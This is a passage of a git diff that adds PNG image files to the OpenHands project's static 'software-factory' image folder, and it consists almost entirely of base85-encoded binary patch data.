zz3#x1lB(`d)tD9B7LR&lvdkt#T0s^1T`C@v7cf(oF@pSb( z=xYBukyyYy3IMsnA|lX!?K^Mm)Ya9MmCwxp&fg}M>dJ@fVI9PMjL<(9fTje0CBuN- m*;)FC)e&%T<$MKmiNfs8=p}bK=_ud|g_@GKVwt>k$bSHAWmVDu literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/profiles.png b/openhands/static/img/software-factory/profiles.png new file mode 100644 index 0000000000000000000000000000000000000000..e87152fd90e580460f041a879e84a2f3989a792d GIT binary patch literal 106680 zcmX_HbzBu&*A|dYLFtr|?(Xgm>F)0CZjf%I8>G9D?(Xh9(#<#C``!019AwV#%&?#NxhqH4YDnhf1P5PhLj#Kd z3=f&CtZZ6Z+DD=w6hRoGps79vGT_HQ|3(qi#)ZQD-_^+#{TBa!SMn*LV9XLn3H!vC&HMmG;fMadmY}EUy=Bmv_grq5r!XhKJEmt$#6XsDY@voVxojyWa6JFurSOJk84St#^875Z+V-pwKfhCH(V(a#i(P{io_mg|Ng1 zTT3d`>jq|KX2!uDVYAULQ9RqCWplbJ zNR~Hm@dXajN^l$&8MzC1w~4GqLveF+$^r5zGi|PyEslryoKD~9=wkoV<^9ZBfdIW;soC_DCXYly2D~tj*W1MuI$c?mldpuk8BC_Y zR+shh;T8C2cf?B99fu?(sQ^o~y{c65DJdyw-ZwM?gr2B%fGJEO{oPI=@W{baZq!+YKvkN3~qBSbR2{HDC#dojc5qoII43 z=YV}?|MFlTAddldJh0Z{SgqZ5cRk5xXese`6Xc2&FLyO~+@8$WnaVvFMiB;OqoXKo zv^v9+jf{@w_8MDRX#pQ%mUU-@dyW?f;nKJJhmdsNj{UaFjIgp9c-)*x+w^K?aH{U= z+=vJ`B_$=r`*OI5fbOKx{W4|B0Qv79>^Cf{JCd`qqK~2eDQ@C<#Z|--)q3@3ei&zM z5LhVg?95EOlhzJBab-hGl7`!>2b>>`; zr0YygPltP+wP=V_>h@AQ%#Y>uI4(?idpyiR=6gZW@wpynLqb9-mdn{_v|b(0VAIzq zR9s$N)opj1?(hFt76vkQb8ujM33>=5ocr?ab3~5MlljG3OWch<@jv*I>ze?4Yb{!G zm|W8j1s`2pTo$W!FQ-(`5!opzDG7(zJ@3wb3IrN4E(3K;sFdsR+v#)xaV8>(>O0)W zfGMTd?;NU=+&O2yINv?QS;N!HD&ndBeJ=@k#k9-nR(%%CE ztQsE+J>A@*aM*0lmTG{i+fC8+kr>~sH6Hc6>}YcPvoka_WH=b3&{Y7`797IQZx#&~ z>urwgxB>EuU|3>iX5Wl(@9yp%Qq}(1M841&<2KjZP%yd0fvV-+e){YyTu{)r-H9d` z!~0kJqbYQnjaEZ(L~*K_yx!^QzFXb?hdI8Trjyy_s+Ah8PUcb&)+O^6C)1QL&P2h% z!GE8ee*GVqe_Eu+MDY4bEjS7D@T*TO+ezM2({8QRIr6swOWRS~WoKk;tel+OW~cXa zHjgJZZGdgd;aJ-BvT07o``fdEg2K4XUo077{}0?7ruZPAA&GAgEE;~njd4FU7uQeg( zcYuir3-?o1x6h2gjV9A@IUU8RmRqyewYR?j2nvr*ZDvk2q)jH5jc|(cU(bQbg`VH= zBc`Q|5zY6$8YTzT9V-$L5b*JJ*>=4)9_IlYZ!(Q(aD2S-_$ygLi}UG%_P6uP~o^Ka*Co?%5_eZ{{S$F$^5sOCo zZ4vYEcrVu)|F0b(7hsNMGmFX*EBV9Lv5lvi8#$%SnO#~KvtXOcB()#h-KMv>+G!yN zWmAeSEG*!ybZ>6@t~J{?Ha5 zaJZ&Buf)yTX+OBY3qbK;C^A7dgCUf=Jb)TN$A18THMgE^!_DyN=9pgLef^s6{iV)m7qF{kj?=^$9NM%ztU`RAqO<(}x6h=>3-@?(qtO>EBYqN1WjNX#z29&Bw3 zC+q{F%=jH`cQFU5(dkF4_Ni+wB`sOSZCSdrR*R{kw7Q*{+1W^FT|goK*&PJX;#Cg} z+DjxSD@(hJ#t8S*r%!u7YHDjaoloY%(a2#0F*3p`)wzhk(9%^m<5s z1Hb~9hOAOAA08gMM}U%HVPP>hH{aggmXMGD9z9sZ7PGtm{q4RBm_JheY@dr|GN7;| z-QC><1$%)WFTkUdFt`h><}0WV+3qC}8ac$<`*!|2u%qy;-X{6p=PoUQ;>SgTmNawP zo8-A)yWjNf@_M{VO~o`YyS_Teunh?g_6BwY$N>O=P$WDJV0Jm4Ef)FuNvoAeDC7oc z02LKyz|aRw2UNExQF45*pJf~06sbN(0Nn$NY{`mMOVQQU6&@bG8T^;iYNItU%*<6m zf`grn_VwlG<$>SL(DymGxP)Z&YInMvV{0Xg4z2-jN{;ujAL!beO*W5@k3bduM9OCL zd2wThZ1@H`%PW&dey5 zWo~Whv9UD)<3L{q+=TIDHqRUcKbdqY2xtdAA8%bCt2>`8R8`TX>lLwaKUlF?Ezvi> z`2zFV??{Yc!vKIwlrX73*}htrkN!zh>J$h1_+O}hM<+(>t<7Jr?6mA}W_$X{z|bjV z0sW~`jxEH2XWLj#)RuCqSxH2#ky+(Ld!}bvlxU@-sw#w&{`P9!bu(Dw6eum^c|(Jv zu`6J=5b$_>rVOQP2Z7I#A3J%7i^C{$>5m(aCIcgMTPG5%Wg~MQw6gmB`Ks&nflP@> zpIk|m@AG+690kAfw3D$~!R)afxWxnT%mLxRP(NzKD31P<>;*suMW$_-+!(k&L8|4! zPCy5M92gj|vr;CK|NYwa{>&E!E1Sg$2@Tt@AP@*8@ajHarV>{vzu#@4{5@q+$MgKW zX%jv2H_DIhTtN@;FK+D1PeK8E;FOO5CkW)^n2R`^$l`Lp+I#ZL2Ph7TboVqX4+adL z-X)5oJQmp8!1kP;u?2;eV#&7BuCAJf#@*301QJ33iQ0ByicW1~V^Itk_$S&Fc!pUq z0`HG>rLz2X#DpsTm3j$LQ3#%%&p(L81W5!Saq0hzvu*NQ6Ud@hv93`!&tcGN`H7(5 zc7F-sLK=pzKwv=MBff=3$c63y7>9<(ZucQR(a-P0kl&W*;NW223{VT7P{G*$0EOC1 z8j$$Wh2)2LiFLJ32OL+xeTZaX0BrMg0mt|THVk{Zj>R`HB-`_q20N_ni;T3i9vlQz zl%cJy)=xr;5G@11UPmH_#6XixhRgo2HX;&<-qVBe`Ez$VFrt9!ZfEq2VYUcc0xkE? z&k=3ET&3!D1AHgaoXhKCB+1b$ltZJ2nRNMBVt9v`%O!$zC7F$352M$csrXEswc@vv zy2shlTEP5nO6JciP3v$Hnk?~=hL5?$aEqpf54kNdK}MIJ&LbyBidReYp*_Vm(UC^a ziGFnPe-c7a1aB`E){O7+1jZDQzaq4L%CCPCoyU{OciL4R_8%KjwqU{T3o{oYb|peL zw?#vG$it_+i<9JMNiEy@B$UYCU=}yJABWAKg>{lgE|(p|(e-+Vqbx?00=ng6Y)Z;^?@`E-6QSRjWHxKf0@@MZb-lk>3@OtyJ03{GsHdNEL15eg z+*c?Ri8SO*3_!ZK-B>=+Sp0E-nn3!s@{mx|gGtHZ$ZHBb+9`EDU$g;uAY}33Skc~| z;j@bG*aty$7}c%#Ubwl;Cp&2RH0hFarPCZ9PjpFqJ|FHcb^sJZCkw{#H)#1K`nPs{ zR$J-tbZw5GgA6@|YQk|qr`+<>go0KgcxJnM0SwZg`ku>tgu*-t=lq_*kD-F7=ZyWC%igr-Jj~%$2lPT(-h`WMM$;mFWjB)GN}XD}6ZWxO z`{>x<80+ZNEY;x#(W%L62^kLHbQ7jC>!}0uRlaTofu+|5ZOEc`peDweV-u^DZ|mZf z;>}Hk3=AeHoRh$k`oln2c*{qIXjG|DzX9lUiXqUgz=yaD?UjH`H8<%GN95J_{y~o3 zzk-C4GD4CqEO!Mt$+|=?KJ>%9C%Z$~m$$cPTXwt>Pfay7{-Y0(TH4y%RIe^bFpPFv z{In^npnjrHe#BM}1z*ZMbdfE7J8^mgb2a_A9zEeNKkuZJQ_Z(KGe3>To!^lY6BFyL z&Vi>;`Xc~40%+Cl_BL3go~$+f?p&{J|C59I6EuwA7}zS?-geetObc61R=hcaI>q@yV3M zHNF~8P6fr&pzj2coFt@*N;>yl>~ujU^zmsYR!Zx@qo^9QOHga19+%g3eS{ ztQNUi=NI-h>P;#`aOdpH`PM6@rrzQ45!d)4E!<`j4AD)0i=k7~K_?kz5pxWhXV@o( zR;@pBy0c(`<2T5aR+%>PgqRFA-@65PMD`adHRS~=FEa&yjPBpgs;a7jRJ{6%^W>#G zZ%;%x!71xO`;R1nA=jrF(cB-xzHGs}M2kW&$Vf=Q3X>~CV-2xyMU@Z-J)ToUXtY#R zRQMn%JK1iu!xroE6>lrbYiZ%4p)mpQ0ZhPs5&~roH%AH<(|_@HP*kStdV(vCk^c=9 z7x(P=c)82>{dBSV@ZdnF#Q_qPAPkCdPFzwlPxTF$$n@~OiP?Ne8wCj5`1rUcr#9weREnMuCpE*}Sav zMtTUeP~}USK%a97ucRH%HqQrtm^~Sg55Ou}+riGx&NMcir3!nvpeO3LMJylGA5t3F zw)`fO0I?`Y&dv}R z$b`|KtnoyvQRgtpx-j<0#h1mHu1vf;YPSHHyJHR4$!sebYO&E!Q-)j32elwr?eCTCt3}$Zooa?ENWJ_MPSiW7*u+XdSf7F|ir{3c#eNoc zv_3AP5bZa8q4DPL*f_a%f zq+G82FT|6<%7RY(>i4Uzte<(}Jjo56@B@8;w!6wp)Lxz*R(bfxbs&%b$aJ+F;N|dLY$6Eocjyb9XmX!Aa_ef^ItahjFAo zOt=2N2Ihqdnydtybr+*y6)dF7kn)q9?Q}Qd^>3Qy4~-sG zD4Hz=4AQ>VZ597xfN_Z{8-v6xGD*#nGMC_MM8v{*+=rV zo$N72;V!8)lp8ElbE$G{!o$r__1F}D3)!>NB=q7^jK{-q=7wFszTkBkC%V_aoYX>H zA*9=Oui|K4N=n1S!EtWoKRQ0fZoVLtL!;+Y&P&48Z4+)YTW{rW3)r<}%ltNFTc98@ z!|+!Zdf+;%5-lsoG7vmfT}9M&I30 z*n`O&Cz7DSjBGl$7}8a~}&=xJ3o~BS4-SdHT`kX_#$28f?8$;`P$UyleL@fVh9#ugnsMTI!sFt zrAyz-R+fE(t-vqz0XL*zO=hnraDnrd^La7vL8k$YO*8mvLQz3RVz`Hxu+g#2=34AayFidT1 zcmY!Skl_N5u3w+aF8&H}>8vl)83_px#n-@`ORLlV0El&=DRx$K@`=$dD6j14`7Na6hU4aT7`gjB1| zWxT)N2%w4dU@9JA3U}wLfOo*&{0rE0p)!q?L0>^OpT)(` z*{pUq)K==Yfe)w$+D;s? z8dKSnOg2;87#F3cC)m1>xtXQ3v=oQc>H!c2h*r~iy*Y2GHwN>f1w^+KOB!)L63u;z zgY7jf)(1TX%_K|i$ez78{Z9NrH^HZMa>Tc|7$d3%XDkeb3@@!L zalieU(_|}po-~)PFNQe3tktpth89ZYUVlth4Wh@2L#Ryp!SF1JwYp}G&5=|jSNp3l zSo<%?8dysT-}h~( zPvREzl7+bJO&)L+S=Nmy|789CCWmT z5BeSz{1u>SF@l=qv!kOUU7yEb4@!%^FNE1{@2~fv2w31MsxZ{ptP&4rb(23eI&IcD z#i2`F2tY}1fXu{qvb2?GXkf76bv@1+yWOkKOu*p_ zZYrLDhlMHNm{T$Vp~z_CgwJ2t<8Ffgv39$3avVJuUpy*T%!cgJ&ZwEF4r^Ol~EDpTMeN*Zqt?ix`BDK+<1S zR0N8Qbwb=HjYmaHupBf_mP&xDPY8L2Ynd*L)|4}=4{-`m$B-~9MKfZAHNOwH7=^D@ z8RN&uC1ujybPqNsb*kU}(Yo<%Wo8eJE8#X8-uO;uuHw7!l~aeBFgav&)KmRG~!ZJMA;2l*4x?_7Gf}? z-rB+&twn9qc9nX+TNM_iNaF*b2zb0t$r1JK&pB^6gaGGBVZ4%Sq^q1ALVD>{2797< zs#Ig8KvA(WYF4#;1;5TQMW8Oyhs}%`?d`MGLsXLJ!9><7XkS0@DFx64wSd9Jo*y!v zJ4jT{_Hp$mC(iWbe_Fsc?g?1a?N@~KWWXs%0(9>D>9Ig4neRpT2a@SRw_hItBTYi{ z=gL}1+!J}_Lf|Pd$zL*O&YC5hLm?gl?l}L5P`aA!l$~ro6|%(a*>WAu#N*W{-D$Dy zTJyAI=Pby+F%FwrqdpAIgR@{+b9SaMq>bBjBGY8_aoMkaD@x#5DiFfVDR;%uksz2A z97(*GaPun+k2Yb;u0xA7S%Qa|(sR!s*vU1@pGH%DLbc`o{vhts)LwHOzNAxl;g7}@qY5OTo_Zao*uOxbx;Q$>@O zrfX3ne0Y{GNc~Hj_xZ$LQAZUssX1f=V&+Y?a+#>Dhj+}-S3re;4YjFPd%{ zu&&a|?^L4f)J~f%?NE|04?)5M3Qw+NHHXjl4NR2exYdmtUzjQG(^`io#tBTEoj`Ej z8!TftY|VSMP~U&XAI|I!xm({~y$ zC9^U!{~EuDIIMA|uyb5M!viFBU?wC<83llp_x+$o%S=d$-uvv^GHyc!cikW`rU>Bt|&UQXWCraMD>et(InecAT2oT*|&LGpBOngnR zpCyl%!r}Y8;9F7tTrWZU9KS0`dJLJ)@0!~d=eeg7NL-XvUas;AwGw|*4<21j74)?i zjSK%Gmpp{$C?D;t1~AcR{G)`Fv<%;H`z*YgxK;qK%#gURNfz`vtDW`ZQ`TD4e4>cu zy!w*M?k216o7a_e0CsU6|diNc;I2G-wfD8i-H8uT~o1Wk#%V|mWx3aTYuE0h79xn(Uh1A9;0oI#XIS$;_ zn|slgH+{-kTawC5cm-^YQ0qH=)G^l7Ia*DNPz$2e=6k%}!;xombg zw;rbJzGY`5XOdBTTV$*Zy69Uw59{n&^cG5N6x58zPpbOklv8hmGfOZ+h&_Cq^_*Au z00zi&15Qb>tRwjFDQaWv>MvZ%W31(inGY=+P4l5{Ewz4fEk^UfDhbK8QE0-y* zyLWQIu}(i{wwAp0xPQ7pgLitwv7n$5_qomSH+s$bfMIs})y$P=Y>YNfAt9w*d{=eb z^RF8JYdf9tC@4om3`4A;{@2a9^W8-h=>R4Zz*aP4XQHLO0L&*67#^@7!EGSsAbyC&Zue98 ztGO|xl+-8?K&Y<`NJvmJF(CtDV9u$H35{>)sN%BFvAPc6v(P~(Ct)Tz4j-7jy}WAc z>R<(rmbZ?MF!AuLjg01;6zZ4+R*~f_$bX360IX>C_@>Tu63`7D0V5tTUL8F=ouhI@_IG%h%i_QD+LAy zazo$lGc{bTRg9+O%U3clkTy71+Eh_x{7uO2u4*c|FKx!5n3}f#SpKhEoJ3ncXO9!eWPn@@JTkIv zt1@MhsIV~Lzq*08q*7=b6q1*JZoR+R`pYZ~C+HFk#Z#1Fq6Z3lkK1Ls-3(zmo`*EA ztW8LClCQe12` zy2#5LhehYoJR`?H8Xi=`Wq+GtyNJ`~tn-|0Oi1~n@+;|Z?y-(629vvcK$>b&hWqh0 zB<>rQ)g&gp?_yPHL{2_t=dVx1w)blsL|0&Fn?9cYmxMS>;N_xtFt8jR%fF~X(!M=p zM5Bo2d0H>}xcOjDzqq9J8`1-tq z=B_%IEtBCRt9&Gf)Tq%(=C-4UQ}njhe+7lH#^yHfu%D)I{Hl$tqe6Ib^h%UU2RRLHw$MAf8ZY|!4j21doJ{k|3nP& z3jqNfJ6csqNeIXoay|Uw>xTHssgHo<=;-*c{3IU1m=-mDD zWlo@$$F}n-Z?l)DFfg!d{kEo9wcSU5tK|E}BWGiPxo8Q?_)|<8=~oOwdiJ;yJm%Y7 zl}>QcT_Hc1f|l`dD9HEA3>D&f(*;=qjEA0Kxan2U%xvD>hX)jPP@OCgvg<1t&R{Hm5&w;6+amisc4*SS&8Rb~LHaNfLl+FT_rLq+!L;F6qn z-6>Ns{Mb-jHqO~{T={(q)hZ%D+q=EpMlQtr5lJ5RLC<3=v%$2UIJsJ#UdQH!k;fTOm}$~hYtd6oV7zA*4e3tu$htP8~?fKzK> zjQ3zHT-?-AO{s1r9`@i{&dd9CA``F^cF~CK!dAm>~>_(BChN#A7_6sqA zGTLk(qtP4W|8|C%Liw?6#eb(uJi9vs|t?_mi{1d1>|U>myVXJfg=^;R6@NKC+jMGU$?9T3n!A>GD=X0*!>qQd0Zq5 zuZDeGzywQXQ&Uq*lqqKfvQX?26BE1TfGB0D^2!V+kLO*1s-=|3!Zh+g)*1;WHTE`F z@1o<*;3gEXf$l1AP3u`9tj4UMY+u%W4Fl(mQyvk#cabJb;nC$G5)`i;t#2S)kGOch ztL*8F6ngM8J%IbGtLPXcx0?%LSSNAQRX5s(sAiWF8jg*n$~y(JXf9>y>l4!xyDNk< zmfZ>^ojF*k{?@~RXDUk*4nC`mTIp*1DhKp=`%)Vb_o~dWv9S{kJLTcptC9&~6*#O4 zwWK6X1y^o|b4>WYKPZs`Z}8}2S6>i+m0Is9+6(9c{;KlOHD!sniaFJuhJj&^9%^Sa zV%^tM!F7GAS_3rWH;57*9Ztuz3e6@uC+VHSiqY^I1%>chQ!D20$@2qr%p5?Wt{~MPbJbt=8rR#jyftYg#=B=2*LSs=; zsNx0%6zZ-oH#*?I;6I!s0?}Cu z5JQ*4KAhKHhW5%#HOveJSg2?|AVOd<8iiF>TGvs1go0B2{{0<@i52uw-b7U@1WNw1%Z2tw58q!c%TY7t5fSpNP_h?2@-GM}!eAT^n! zqQz^sRhvdv!3ah9$QtNnN|Up1K79e_4WIE{i_@L($1zsBMe^kb9RI^Pl~M2UTAw!# z1p&@1bj57AH^NDWU=UQ6qJKfW%EW#Ms!!&g;!=_GTC2km$=R zm22{d8w%JylQ?m`B9$Th9(`9HSIX*F_lGUp<2YyKQMxx5(3b6z2;|??(9!S*mYje9 zaA;^~{8&>93(5Rxz$c6hL}v8L+!mtw4EHzY{=_7$F%4^I=XY{)GBq^?1X;qE2uI~9 zlK>Bz6^Js`)fv)b(wqK`WQxTAk$$h!ePs$-5p8T{d!Pw|g={lZI-upVcCvN*Ojzi4pCQOu4UE@7G1ceR`&Z%HO#f&iQSk1kJ4LBeF1A zzB%35;ng#k3x9)%y_e!r%`^2Df=*+lljQ7h&NZe|e(-(|S`8WO52@I2+H&aYB+e?7 zL~k(f7%x+K=iyBnCaf*Vi6xW8ojp+f5>8~vM!)c}dIh5fYGQi~%l@Lj6*q!IZy{aX zwmN^I?dJN)T48d95O)$a8O)31&*g_3k`h4AEi0SB{2Pxg!P{zE10wpplRG;G4=zn| zIlS_Cwe|Hz^x2iHLohtvTa$tf8kLHrCD|0pebF(jn^U$k9?w-e9UclaLM!H=t)95% z8{ja;OiFw_YS{PP-CY3k0W5l5bDRWnUb@yMxG+4Npo1V}gkx^Nut^jrsjT?$zSEe^ z%gMoEY+@2GhJcC)q?C@K1dfIwz{K3$Iri}WMqn*|E??Z=GHIS<#-ad=Z^vr9=7f*LHE_j)^pRnlY0ExAmzMA8jrmW_ z7U;YE`7q8VUJQ*}`2aWpl2TIeaBwh!vEj1C`LoBM1Scr$=mm8V9z}W2ekTZ??JXKO z+d1;O>IhihU+-%aJ`;DzR#2s7)JYPkzXxNoQr5m^bvuD@-qlSUJ)3;>H22PD|YI-M6JMorAvf@|30Rl^W!&QsTHSzl; zBrYK-X)xiN;ueWLxCtI-~C+sB%Ecz7#=aU6n~EhrxmnH<RfC*75vaVPcnM#ez%6CFR;*UBEKjKkE4HiI$pbQtj&q@ zY)~mhIpp=hx826-co>G!t3q5)c1scWnc?guT9Za6!UWlNNcg!GpSh?bz2nz?InRB< z?~9HBlf^_-jZg`MGJelUsn;7gdtF>Rd;LK&M)vwU1lLr{g403Yi$6|MyuLh>B#~I1 z`?}vdD==&$`|c({2D~KjRlQ5*F%vMl3?#ayq`lmi4~eSqpfySql3WcMt{TrLL%bG^ zrCy6VA3v>Vl)5c?6T6ANtz71EPT+7K1{(X2{26S>DOTl@^)l=c z$3atvH$^%GLKUu@H{AC4EcO>|0o#R1O(fxif=nS%w>b|_QC8tTday$U(vnKC-VJoR z!;Kh^a%re9ttZ##4GoHDQa_r!mvW=^ABDTBIjTo%5x;Dp(?S-I24Z-D20$a%ZHw8` zmGuN%u2sJ4+i5oze|lLt>>78!*{UqX68J!-Ax*kZkdKBWisC<0k~Aa|;qn>+S&VeA zhCj+w9g)&!Rt@JuFQnmstBcj0b(RaK0KMr=hm%Ekl#x zjj-F|LZUH-cSc+whuji1AfLIoFm=0Oe;ZsQl9b2We_ z@Y$;RFQl5!Oiv75>1+BC&NY1d49A(ZQU0BdHRJWe7s{oNtU=@Y;Df@#N5>`xW$$0L z$$m7T8YPp31dB@UHIq}1k`lT!0YmLk|S(}e)P?AkfkKQOK6%Rhf5wWIXoX;yJxHv$1ss-2WM zleUm?*GP>-3(nnVN1~=+MbRvuuM?dP5_f|?`^C#_$({WgM`Ey7_HdE6er>MvH~cEX zexc!Wf65J8|J<~k5#=?n1jM z3zLb;lClJ-x~=-n`p*;P4?-8~krOSIG`hG$Y@&!wKeCWuquZT?ki^K50xP#ZxK*wP ztET;;k-4??97cR)iR%{;Jy{KOI-{*GyNY;2U-xZE-=q*ktXHq;0geO~tB8rMn&(4` z$;ilX2`L4&!VR$lQZ*p^s!^i{;o+^Q7SEb9V<$;E0|yRSzlTgB@jjyF7OOiKQs>jY z(bv@17_GuAoMW%rMRN~{hpiPX>OHJ%+J@=>RO~3T%I?gN+NI14FPxfLbJ+6SbZ5=f zq}*mvU!3!K=%;w=yFGs?#YzgdDrw!wiz!nEocvoFV^V#!^mKj=LvtI&G+&CYM$_Mw zFa2jT+jj+z*R7-p-%78`R7Vn%ni7`_mBZ&L)8Y{rSXgl5U^m_O5-FTtIc|)S&sKzj zd8lmXZIrat)vYaTY}j|vX@lQD()!hf4d3fpmC2M;R-2slGjQFFkH4r}`{Fu!cDA(m zop9LOKGIw-SnQR(G|y=gw0B7YTm)R zm-Jp*wJ?~u`n|oZcC{2!ZS#0M5A|DFn}Llb(*)i%SEb1)JSFiBjc3)M>c_ZF)k*V#OT^TxMrk}VS5A*!_oBkD`99ZUF_>3)K#YaRF)rZ&PPP6B zof18d@i-B7W;r-IDs>q3<2HC$7ATP_S3O8kjorJ>m8`JXPS9H4V$u;QE5AbWemX84 zz|)Y@g zE|C05Ci91@$L^DSxbdm!$_;(lWtR=Ir>15L`;)dxQHaljiqS4QGFb{ufLaq;dl(?3iG-jUw5nX>A>MN z2QE^=aDUGb$_eV0EoG&urh)=d%IG$Z@ktBHEh5`i!p4LsuJuP;;IsvZhD~(_#p46W z)*=P70D@?)!s0QBUE=oC&@`&u$u>>_;=!aL4HfjN1$kO20%upj86U%k@S8{2`)J%Ql z<#f4iQt}3)bA2ew{@f9Qoig$*TUTjxzHtKyH7$jZE+WhJ>T12Z&S*;B@%Hi@o=zl2 zqw~CE8iM5KY+`gpC}fO_op6 z7~NRuiTkD$15AnQ8CsIcY%T4p>4y3?7F20vZ)wt`jlW_u#<{+EK|eWRZn#v=J=&}{ ze|A4nEOmIS{)#gzRk;>iR%S6nzuXF$(mU7QhzQ59zp9y@y0=JYv+cmrG)uzq z1|N|=Pk&&>x_-1=X9_TT70NF!SVhW|+m`wOx81?Q!C^ws($WIXMFFfn-&D7eY1b@& z7(M8lJPNM~YHkc83rl5bslOb`ary!_N>H}(Jljr8R=WY?-t8o7wGO@hoZWrT1@Y@) z`}1#%(GWH~fqc&Qm*Hm3UW!rlD2EG3XVY1oKwtu-Z%>hEpwum5Y#=b0Wa6eY=)pn5 z!@9+xxK8TV0!(gFw+8M%d+uq`z98`To(?y8C;&X7uw+7_OK8WF*K3_z8W|8K=_wy> zf3QZe${i$=Fv<=PaF`C*v2(s{Q8*58Hg+hKLypu+$(%uRUCD$=(A{H=njq*mspwIq zfFsc`MV95buDDOB8A$z+V2$^PB9PY;>t zAZBl0On4*5ko%v$-<>y0&J<=Q`pXAP3opBaE3vpo1j`@t9Q|!qMm3xzwFfn3E`XRT=4$3tv-S=xQ7VcvAThq&@)!oI* z5-eq&Vg>6^Y|~1B5dvp8EE=#oKMnvrqzat35|mb1Q4!<>!TUQ-nH5j^Cy$V6Jfo~<{ zX!z6T_1@x0{?x(QFUKdAmV!-=B$c>$@7OGsRR4T^UfZHn)ZVu5?4n{^+FpM%QVR2p zgqWJdY9e!y?UI?r-@lID5EQT^P|fT@?&hB}MM@T```ak)T| zf-1>aY(Rx=S;=guX7RAS&HAestZurSVkW1H5!b~2(%q$uPEO4hAMxfCvZ*`of>$D< zyWRZbPTYEO_2k236TI{m?qm-4VD{0{0BfaIgl7CNnoTtJc4r@iymr)2DP|n;Vmy-h zh48BfVA)R=yOk7715m!KKgLTGdtDwsg%oG-J2cSEz1?D!yUG|P%*-Wx3a<^HD=Z;n z-GE={kVITnNOPrS-fM4f)z~;mQyrNQNsLIgcK>3dW^S=}NAUaUfR`+K;yKsGk_w~v zY2fi3r@VM9m2r2srU&75{>LzCY{N7N9W^2BCHAmt_10o`uwV82r?)Mv9BHq0P?=;h zCc1%H*W8YFNpcpNDFX7FUJAi&>JpwrO0Uo7E?(DVSLkKoG(3Aw+DQ{VoRram;H>nk zGl9}l2~D1|sk)M7Q;C(OC6F68E);%l6%w%c_T9xey+|_xe~+-9t0PldS+U|+*gOnL z1ZjY^K<)XV@HEz)hx}_u1cRZh-FOH#OBWvw7*PM4;*YAG+99{_h(b|GF&auM}R@gU~?)u2TtX2bXBcM64tj*Zod~4)OnmkkYtU|K9F&|A@pw+a-q5MF7jXDT>^goMB*2zk%OEh7WO(w#&EP zPKFvb9OzwR9G$eim1Tr6pk4TWVAC|Q*hAq8vUT#){N0i71Hq}0*t?D(1grpMt?qKN zKY(cvbWHSRc1x@_*kmul^XS)0sB)#jCSXBK@4xtr1u1H1Na?ZKG&U%S;tm5Azc+Tk zULS4y8FX~ldt-o0`XB_G@~yeG^>5(MUD*O{T_BwN15BrlFR0nz(@n3ns19TXjKQ~=30k}Fjx3|G$iDDtpym!o z?jF>;7{lZE;pWJBo7o=F)+v2-cPUqEWcDR$Yo1c;CA0!zrhC<0g+b7Qn_`pI>7wOyEtJAW62+a#@r-0`H1e)EhQ{R7)o4 z$;ZO7GiW%|Yd-oUJlOLV?y(r2&Q3!^b2W$?kWODeUa+*7NIMxX?p0i6z+R)XuvplbbCkdN;7qgT_V8GkaE#dZnYPUZMIwHx@cJs-W4beIFDB^d(wmJoJOt znA>JjCuc(M__$#|B4pQuO4%ABbo5LtZdw=`KDT6fBYCzO-17Ot?oog6cwe%BWHVY> zT2)n5P*8Bc0jM-q5J-xmKky+3S#g`K@u_qU&O82IpB>n3a3?9TXxB=|K{~%aJL!8h zt0g*+Xr`g!|9O~XkV^dlUvhj*NJiKy;bB?!$K6Wu0DGmVu&EbfZ=|6_+EA5 zXZ>KfKUebn3}swOwpBwcz)-#JF$=5q$gO_q+(C z%>eDf1A)HUH8VCgzRL=la6Mc)zr3_-el^18Pf+g}`(YA&vydetG+u##L-ZZC=k5(= z>sz0*?*25KWC@?0_2gHx62wKvl9Q9B87*4p-9Oyzek1F4K*gNM2g2`KB8KV0I@P2r zy%GAY#?7BCq!{)1dqSs5SQep6>!pe!A;A?W_3`-=vWM!1#VzqAjoBTa z!71ORi_8) zaLh;M5+pY_xA}6(b6v#*mBy>etA3Td?77bS8s7#!qJN|=+snp-tUvVHHlK24R(#eo zinFw|HtF6L%3!*yI8k(-C+q=g_hq0-2K|A8FJd822t@$}$iiY9oL4eE=%CSd{HqJ# zPof=21l_ROLtK}=FXOcg>FDS_<|1K`%m7y~_$O)pM~yKZ3yV=TWD=aJnH0?~`??UH z*RR`>*h~QgC^WPWiOefHJzbF><3|z@KMSz4vjhL5lPHkt&(+$I-BLw`78hH+dD9Cm zRNMdkyXAVf*kP@^TKHs<^8CovaeFk=$oJ0K-u?)H9~ABl9`F91Ny9z=-mbs!f%5Nm z^1x1sV{-hgIMthYC+N{rey~leEw%W2N61SjOoYpIo`)1kT^ZQv>-9^4hYjev0Y|D4 zc$mf=fH%b7uGRJT3`}T{JdHomAvm&tD6BV|4XmVIfp7dpn#HH5r+siA>Di!tpiR(V z(T4rvMOtdAT(oFnOX~jsSn1{f9FliuLGm6a54|LQlAwE#)QN$T@`JeE6PCvFJjbsP zTZ7!?;b|^`3u(${p#hM4EF7G*-@gSd$8&(|U08v=G16BF2Jc$37F zlMlSy($dn}@Tb5;p!5`TCtJ77>2T@A1+3)H&<;pfR~IxsAp1FLpfdaKkS>#-sO6!c zXPqs~j&;zMGStls!~g-5AD@Qs6YvgaWl?AoZo2MGMKqM#Ypl+-_Y0C@Zt^gZX!_eD z zHmlSo_As}W&OB7p^b6uw-+=owtCKiadSksK)xl-CV_WkGBWM~~?e8F|BVt02K4x*F zfYQjhj%*&qnL zI%7wB`*6At8q(-l!As7}-PQB+Nnqk<)~!OOw*>|#Qc_ao2Va0x>iJ9vmJWDNU*h`7 z9s(TD>dafcBCHt|@V?Ddm}Z(_o^Q3cw{LG-^h)0YUqkyih#1^Kl*U@&d3gZdqvsem z)zgOlv6*=24B~&l>#v}wi1Gc&b5C9_ZD+H17`|?lEl{NL<|9c$>Zg{794gDe#}8 zr&jq`aofznucAp903eJ#g3r||Qi#uriP-29a%A}`&L`59(+{1YI0|K3Kxms;1*j$0 zH#cew9i*%9z#Z}C`Q&&+kO8MBk8!o8EHUfbwy@_6EBzgfd*GZ>w?5MrjP-+Ke&vp3 zowy_C|5f|ss=0A^T@5qj9lyLT(K~bwX58s$MaeZjx2r!P0aKfd{9~41K3JN2NjO0& zEWV!j8d9(va;{kE^N!0HN=D-*zR|%?M|R0snHIl&7Yqh z#x~Myc6UF`7MQy*Cs9rfBr*q7jZBQE@s5y9Ks|zeeuak5{L_2o`oCJhYwu?*8=%(} zMc&2h@|yq(hlEbVY1WT>1$zqwg8_CYA~(M)0egfDQh&av*VNSX=sx(}0(9%wK#iTB 